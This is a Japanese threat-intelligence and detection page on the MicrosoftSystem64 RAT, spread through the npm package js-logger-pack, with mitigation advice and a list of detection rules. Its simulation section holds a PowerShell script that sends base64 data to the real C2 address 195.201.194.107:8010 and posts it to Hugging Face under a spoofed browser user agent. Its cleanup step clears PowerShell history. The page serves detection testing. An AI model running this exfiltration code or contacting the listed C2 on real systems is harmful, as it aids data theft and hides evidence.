MicrosoftSystem64:Hugging Faceにデータを抽出するサプライチェーンRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
悪意のあるnpmパッケージ名 js-logger-pack が、MicrosoftSystem64というクロスプラットフォームのNode.js単一実行可能アプリケーションを配布するために使用されました。このバイナリは、高機能なリモートアクセス型トロイの木馬であり、暗号通貨ウォレット拡張機能、ブラウザに保存された認証情報、SSHキー、Telegramセッションデータ、スクリーンショットを盗むことが可能です。盗まれた情報は、侵害されたAPIトークンを用いてプライベートなHugging Faceデータセットを通じて流出し、コマンドと制御のトラフィックは 195.201.194.107:8010のWebSocketサーバーを通じて処理されます。このキャンペーンは、npmとHugging Faceアカウントをローテーションしてアクセスを維持し、作戦を続行する北朝鮮関連の脅威アクターと関連付けられています。
調査
SafeDepはマルウェアサンプルを分析し、そのXORで暗号化された設定、コマンドと制御のエンドポイント、Hugging Faceトークン、そして対象とするウォレット拡張IDのリスト(80を超える)を抽出しました。研究者らは、Windows、macOS、Linuxシステム全体で使用される永続化手法を検討し、Hugging Face APIを含む完全な流出チェーンを再構築しました。5月28日のライブ検証で、被害者から取得されたスクリーンショットと認証情報アーカイブがまだ受け取られていることが確認されました。
緩和策
組織は直ちにこのキャンペーンに関連する既知の悪意あるnpmパッケージを削除し、侵害された認証情報、SSHキー、および暗号通貨ウォレットシードを更新し、Hugging Face APIの不正使用を監視するべきです。エンドポイント保護は MicrosoftSystem64 プロセス名および関連するタスクの作成を検出する必要があります。ネットワーク制御はまた、識別されたコマンドと制御のIPアドレスへの外部トラフィックをブロックし、未知のバイナリからのHugging Faceエンドポイントへの予期しないアクセスを制限するべきです。
対応
MicrosoftSystem64が検出された場合、直ちに影響を受けたシステムを隔離し、悪意のプロセスを終了し、インストールされたファイルとスケジュールされたタスクを削除し、侵害されたHugging Faceトークンを取り消してください。調査官はログおよび流出データパスからの法医学的証拠を収集し、関連する関係者に通知し、将来のビルドで悪意あるパッケージをブロックするために依存関係スキャンツールを更新すべきです。
アタックフロー
検出
考えられる永続化ポイント [ASEP – ソフトウェア/NTUSER ハイブ] (via registry_event)
表示
隠されたPowerShellコマンドラインによる実行の可能性 (via cmdline)
表示
Linux .desktopファイルが異常なフォルダーに作成された (via file_event)
表示
Linuxホストに隠しファイルが作成された (via file_event)
表示
検出すべきIOCs (HashSha256): MicrosoftSystem64内のHuggingFaceへの流出を行うサプライチェーンRAT
表示
検出すべきIOCs (SourceIP): MicrosoftSystem64内のHuggingFaceへの流出を行うサプライチェーンRAT
表示
検出すべきIOCs (DestinationIP): MicrosoftSystem64内のHuggingFaceへの流出を行うサプライチェーンRAT
表示
SetWindowsHookExキーロギングによるマルウェア検出 [Windows Sysmon]
表示
LinuxシステムにおけるMicrosoftSystem64 RATの検出 [Linuxプロセス作成]
表示
HuggingFace経由のMicrosoft System64 RATデータ流出 [Windowsネットワーク接続]
表示
MicrosoftSystem64 RATの実行およびPowerShellコマンドの検出 [Windowsプロセス作成]
表示
シミュレーション実行
前提条件: テレメトリ & ベースラインプリフライトチェックが通過している必要があります。
理由: このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃の説明とコマンド:
攻撃者は既に「Microsoft System64 RAT」を被害にあったWindowsホストにインストールしています。盗まれたデータを流出するために、RATは二つの並行したアクションを実行します:- C2チャネル: ハードコードされた悪意のあるサーバーに生TCPソケットをオープン
195.201.194.107ポートで8010し、ベース64エンコードされたデータをストリームします。 - 隠密なHTTP流出: HTTPSで
POSTリクエストをhttps://huggingface.co/api/uploadに対して発行し、同じデータをリクエストボディに埋め込み、通常のトラフィックと混ざるように正当な見た目のユーザーエージェントを使用します。
両アクションは、Sigmaルールと一致するアウトバウンドファイアウォールイベントを生成します。
- C2チャネル: ハードコードされた悪意のあるサーバーに生TCPソケットをオープン
-
リグレッションテストスクリプト:
# ------------------------------------------------- # System64 RAT流出シミュレーション (PowerShell) # ------------------------------------------------- # 1. ダミーの流出データを準備 $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. 生TCPでデータを送信 (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] TCP exfil sent to $c2Ip:$c2Port" } catch { Write-Error "[-] TCP connection failed: $_" } # 3. HuggingFaceへHTTPSでデータを送信 (隠密な流出) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] HTTP exfil sent to huggingface.co" } catch { Write-Error "[-] HTTP request failed: $_" } -
クリーンアップコマンド:
# 残存ネットワークアーティファクトを削除 Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # PowerShell履歴の消去 (オプション) Clear-History